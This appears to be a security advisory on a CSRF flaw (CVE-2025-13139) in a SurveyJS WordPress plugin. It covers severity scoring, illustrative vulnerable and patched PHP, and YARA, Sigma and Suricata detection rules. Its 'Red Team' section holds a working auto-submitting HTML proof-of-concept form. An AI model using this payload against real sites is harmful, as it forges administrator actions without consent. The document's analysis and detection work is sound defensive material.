CVE-2025-13139

Executive Summary

CVE-2025-13139 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress, affecting all versions up to and including 2.5.2. The vulnerability exists due to missing nonce validation on the SurveyJS_AddSurvey AJAX action. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in site administrator (e.g., via a malicious link), creates a new survey without the administrator's consent. The CVSS score is 4.3 (Medium), with a low impact on integrity and no impact on confidentiality or availability. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status is unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it may include JavaScript dependencies (SurveyJS library) that could be affected. Users should verify the integrity of the plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack is executed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim (administrator) must click a link or perform an action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – An attacker can create surveys, potentially injecting malicious content or phishing forms.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction (tricking an admin), but the impact is limited to creating surveys. However, this could be leveraged for social engineering or further attacks if the survey content is used to collect sensitive data.

Deep Dive & Mechanics

The vulnerability lies in the SurveyJS_AddSurvey AJAX action handler within the SurveyJS WordPress plugin. In WordPress, AJAX actions that modify data should include a nonce (a one-time token) to verify that the request originated from the legitimate admin interface. The plugin fails to implement this nonce check, allowing any request (even from an external site) to be processed if the admin is authenticated.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form or link that triggers a POST request to the WordPress site's wp-admin/admin-ajax.php endpoint with the action=SurveyJS_AddSurvey parameter and survey data.
2. The attacker lures a logged-in WordPress administrator to visit the malicious page or click the link.
3. The administrator's browser sends the forged request, including their session cookies.
4. The server processes the request without validating the nonce, creating a new survey in the database.

Impact: An attacker can create arbitrary surveys, which may contain malicious JavaScript (if the plugin does not sanitize survey content) or be used to collect sensitive information from site visitors (e.g., via phishing forms). This could lead to further compromise if the survey is displayed on the site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin's AJAX handler. A typical vulnerable pattern:

Vulnerable Code (PHP):

add_action('wp_ajax_SurveyJS_AddSurvey', 'surveyjs_add_survey');
function surveyjs_add_survey() {
    // Missing nonce check
    $survey_data = $_POST['survey'];
    // Process and save survey
    update_option('surveyjs_surveys', $survey_data);
    wp_die();
}

Patched Code (Expected):

add_action('wp_ajax_SurveyJS_AddSurvey', 'surveyjs_add_survey');
function surveyjs_add_survey() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'surveyjs_add_survey_nonce')) {
        wp_die('Security check failed.');
    }
    $survey_data = $_POST['survey'];
    // Process and save survey
    update_option('surveyjs_surveys', $survey_data);
    wp_die();
}

The fix involves adding a call to check_ajax_referer() or manually verifying the nonce before processing the request.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the SurveyJS plugin version <= 2.5.2.
• A logged-in administrator account (the victim).

Exploitation Steps:

1. Create a malicious HTML file (exploit.html) that auto-submits a form to the target site:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="SurveyJS_AddSurvey">
    <input type="hidden" name="survey" value='{"title":"Malicious Survey","elements":[{"type":"text","name":"email","title":"Enter your email"}]}'>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server or send it as an email attachment.
3. Trick the administrator into visiting the page (e.g., via a phishing link).
4. The form auto-submits, creating a new survey on the target site.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=SurveyJS_AddSurvey from unexpected referrers.
• Look for spikes in survey creation activity, especially from non-admin IPs.

Prevention:

• Apply the patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce.
• Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=SurveyJS_AddSurvey and a survey parameter.
  • Referrer header from an external domain (e.g., attacker-controlled site).
• File System:
  • Unexpected survey entries in the WordPress database (e.g., wp_options table with surveyjs_surveys option).
• Logs:
  • WordPress debug logs showing AJAX calls without nonce validation.

Detection Engineering

YARA Rule

rule CVE_2025_13139_CSRF_SurveyJS {
    meta:
        description = "Detects CSRF exploitation attempts against SurveyJS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13139"
    strings:
        $ajax_action = "action=SurveyJS_AddSurvey"
        $survey_param = "survey="
    condition:
        $ajax_action and $survey_param
}

Sigma Rule

title: CVE-2025-13139 - SurveyJS CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the SurveyJS AJAX action without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=SurveyJS_AddSurvey'
    condition: selection
falsepositives:
    - Legitimate survey creation by admin (if nonce is present)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-13139 - SurveyJS CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=SurveyJS_AddSurvey"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-13139;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not in use, or restrict access to the AJAX endpoint via .htaccess or a WAF.
2. Monitor logs for any signs of exploitation (unexpected survey creation).
3. Educate administrators about CSRF risks and the importance of nonce validation.

Long-Term Fix:

• The vendor (SurveyJS) should release a patched version that includes nonce validation on the SurveyJS_AddSurvey AJAX action. Until then, consider using a security plugin that adds CSRF protection to all AJAX endpoints.

Workaround:

• Add a custom function to the theme's functions.php to enforce nonce checking:

add_action('wp_ajax_SurveyJS_AddSurvey', 'custom_surveyjs_csrf_check', 1);
function custom_surveyjs_csrf_check() {
    if (!check_ajax_referer('surveyjs_add_survey_nonce', '_wpnonce', false)) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT
Securing Digital Frontiers